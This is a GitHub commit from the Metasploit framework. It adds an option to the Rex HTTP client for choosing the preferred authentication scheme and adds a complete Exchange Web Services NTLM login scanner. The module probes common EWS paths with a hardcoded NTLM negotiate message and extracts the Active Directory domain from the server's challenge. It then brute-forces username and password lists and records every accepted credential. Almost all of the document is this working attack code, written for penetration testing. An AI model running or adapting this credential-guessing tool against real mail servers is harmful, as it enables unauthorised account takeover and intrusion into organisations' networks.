Skip to content

Commit 1d4b0de

Browse files
author
Brent Cook
committed
Land rapid7#6616, Added an Outlook EWS NTLM login module.
2 parents 4495b27 + c12cc10 commit 1d4b0de

File tree

2 files changed

+177
-4
lines changed

2 files changed

+177
-4
lines changed

lib/rex/proto/http/client.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -267,26 +267,30 @@ def send_auth(res, opts, t, persist)
267267

268268
return res if opts['username'].nil? or opts['username'] == ''
269269
supported_auths = res.headers['WWW-Authenticate']
270-
if supported_auths.include? 'Basic'
270+
271+
# if several providers are available, the client may want one in particular
272+
preferred_auth = opts['preferred_auth']
273+
274+
if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')
271275
opts['headers'] ||= {}
272276
opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )
273277
req = request_cgi(opts)
274278
res = _send_recv(req,t,persist)
275279
return res
276-
elsif supported_auths.include? "Digest"
280+
elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')
277281
temp_response = digest_auth(opts)
278282
if temp_response.kind_of? Rex::Proto::Http::Response
279283
res = temp_response
280284
end
281285
return res
282-
elsif supported_auths.include? "NTLM"
286+
elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')
283287
opts['provider'] = 'NTLM'
284288
temp_response = negotiate_auth(opts)
285289
if temp_response.kind_of? Rex::Proto::Http::Response
286290
res = temp_response
287291
end
288292
return res
289-
elsif supported_auths.include? "Negotiate"
293+
elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')
290294
opts['provider'] = 'Negotiate'
291295
temp_response = negotiate_auth(opts)
292296
if temp_response.kind_of? Rex::Proto::Http::Response
Lines changed: 169 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,169 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/ntlm/message'
8+
require 'rex/proto/http'
9+
require 'metasploit/framework/credential_collection'
10+
11+
class MetasploitModule < Msf::Auxiliary
12+
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize
18+
super(
19+
'Name' => 'OWA Exchange Web Services (EWS) Login Scanner',
20+
'Description' => %q{
21+
This module attempts to log in to the Exchange Web Services, often
22+
exposed at https://example.com/ews/, using NTLM authentication. This
23+
method is faster and simpler than traditional form-based logins.
24+
25+
In most cases, all you need to set is RHOSTS and some combination of
26+
user/pass files; the autodiscovery should find the location of the NTLM
27+
authentication point as well as the AD domain, and use them accordingly.
28+
},
29+
'Author' => 'Rich Whitcroft',
30+
'License' => MSF_LICENSE,
31+
'DefaultOptions' => { 'SSL' => true, 'VERBOSE' => false }
32+
)
33+
34+
register_options(
35+
[
36+
OptBool.new('AUTODISCOVER', [ false, "Automatically discover domain URI", true ]),
37+
OptString.new('AD_DOMAIN', [ false, "The Active Directory domain name", nil ]),
38+
OptString.new('TARGETURI', [ false, "The location of the NTLM service", nil ]),
39+
Opt::RPORT(443)
40+
], self.class)
41+
end
42+
43+
def run_host(ip)
44+
cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['RPORT'], {}, datastore['SSL'], datastore['SSLVersion'], nil, '', '')
45+
cli.set_config({ 'preferred_auth' => 'NTLM' })
46+
cli.connect
47+
48+
domain = nil
49+
uri = nil
50+
51+
if datastore['AUTODISCOVER']
52+
domain, uri = autodiscover(cli)
53+
if domain && uri
54+
print_good("Found NTLM service at #{uri} for domain #{domain}.")
55+
else
56+
print_error("Failed to autodiscover - try manually")
57+
return
58+
end
59+
elsif datastore['AD_DOMAIN'] && datastore['TARGETURI']
60+
domain = datastore['AD_DOMAIN']
61+
uri = datastore['TARGETURI']
62+
uri << "/" unless uri.chars.last == "/"
63+
else
64+
print_error("You must set AD_DOMAIN and TARGETURI if not using autodiscover.")
65+
return
66+
end
67+
68+
cli.set_config({ 'domain' => domain })
69+
70+
creds = Metasploit::Framework::CredentialCollection.new(
71+
blank_passwords: datastore['BLANK_PASSWORDS'],
72+
pass_file: datastore['PASS_FILE'],
73+
password: datastore['PASSWORD'],
74+
user_file: datastore['USER_FILE'],
75+
userpass_file: datastore['USERPASS_FILE'],
76+
username: datastore['USERNAME'],
77+
user_as_pass: datastore['USER_AS_PASS']
78+
)
79+
80+
creds.each do |cred|
81+
begin
82+
req = cli.request_raw({
83+
'uri' => uri,
84+
'method' => 'GET',
85+
'username' => cred.public,
86+
'password' => cred.private
87+
})
88+
89+
res = cli.send_recv(req)
90+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
91+
print_error("Connection failed")
92+
next
93+
end
94+
95+
if res.code != 401
96+
print_brute :level => :good, :ip => ip, :msg => "Successful login: #{cred.to_s}"
97+
report_cred(
98+
ip: ip,
99+
port: datastore['RPORT'],
100+
service_name: 'owa_ews',
101+
user: cred.public,
102+
password: cred.private
103+
)
104+
105+
return if datastore['STOP_ON_SUCCESS']
106+
else
107+
vprint_brute :level => :verror, :ip => ip, :msg => "Failed login: #{cred.to_s}"
108+
end
109+
end
110+
end
111+
112+
def autodiscover(cli)
113+
uris = %w[ /ews/ /rpc/ /public/ ]
114+
uris.each do |uri|
115+
begin
116+
req = cli.request_raw({
117+
'encode' => true,
118+
'uri' => uri,
119+
'method' => 'GET',
120+
'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
121+
})
122+
123+
res = cli.send_recv(req)
124+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
125+
print_error("HTTP Connection Failed")
126+
next
127+
end
128+
129+
unless res
130+
print_error("HTTP Connection Timeout")
131+
next
132+
end
133+
134+
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
135+
hash = res['WWW-Authenticate'].split('NTLM ')[1]
136+
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
137+
return domain, uri
138+
end
139+
end
140+
141+
return nil, nil
142+
end
143+
144+
def report_cred(opts)
145+
service_data = {
146+
address: opts[:ip],
147+
port: opts[:port],
148+
service_name: opts[:service_name],
149+
protocol: 'tcp',
150+
workspace_id: myworkspace_id
151+
}
152+
153+
credential_data = {
154+
origin_type: :service,
155+
module_fullname: fullname,
156+
username: opts[:user],
157+
private_data: opts[:password],
158+
private_type: :password
159+
}.merge(service_data)
160+
161+
login_data = {
162+
core: create_credential(credential_data),
163+
last_attempted_at: DateTime.now,
164+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
165+
}.merge(service_data)
166+
167+
create_credential_login(login_data)
168+
end
169+
end

0 commit comments

Comments
 (0)